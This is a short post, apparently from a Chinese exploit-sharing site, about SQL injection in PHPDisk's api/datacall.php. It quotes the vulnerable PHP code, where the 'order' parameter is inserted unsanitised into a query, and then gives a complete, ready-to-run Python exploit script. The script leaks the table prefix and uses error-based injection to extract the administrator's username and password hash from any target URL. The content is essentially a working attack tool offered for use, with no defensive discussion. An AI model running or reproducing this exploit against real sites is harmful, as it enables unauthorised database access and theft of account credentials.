phpdisk 注入

$type = trim(gpc('type','G',''));

$order = trim(gpc('order','G','')); //获取参数

$by = trim(gpc('by','G',''));

$limit = (int)gpc('limit','G',0);



if(!$type || !$order || !$by || !$limit){

        echo 'PHPDisk Datacall Parameter is null or Error!';

        exit;

}

$filter_arr = array('select','delete','update','insert');

for($i=0;$i<count($filter_arr);$i++){

  if(strpos($order,strtolower($filter_arr[$i]))!==false){

    die('PHPDisk Datacall Parameter Error!');

  }

}



if($type=='user'){

        echo '<ul>'.LF;

        $q = $db->query("select username,userid from {$tpf}users order by $order $by limit $limit"); //你懂的,

        while ($rs = $db->fetch_array($q)) {

                echo '<li><a href="'.$settings['phpdisk_url'].urr("space","username=".rawurlencode($rs['username'])).'" target="_blank">'.$rs['username'].'</a></li>'.LF;

        }

        echo '</ul>'.LF;

        $db->free($q);

#!/usr/bin/python

#coding=utf-8

import urllib

import sys

def qz(url):

        fp=urllib.urlopen(url+"//api/datacall.php?type=user&order=12'&by=and 1=1&limit=1")

        data=fp.read()

        return data.split("select username,userid from ")[1].split("_users ")[0]



#print qz("http://127.0.0.1/www/disk/")



if len(sys.argv) !=1:

        host=sys.argv[1]

        qz=qz(host)

        fp=urllib.urlopen(host+"//api/datacall.php?type=user&order=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x27,0x7e,"+qz+"_users.username,0x27,0x7e,"+qz+"_users.password,0x27,0x7e)%20from%20"+qz+"_users%20where%20userid=1%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1%23"+"&by=and 1=1&limit=1")

        data=fp.read()

        #print data

        try:

                print "[*]Username: "+data.split("'~")[1]

                print "[*]Password: "+data.split("'~")[2]

        except:

                print "[#]Error!"

else:

                print "[#]Usage Exp.py [url]http://127.0.0.1[/url]"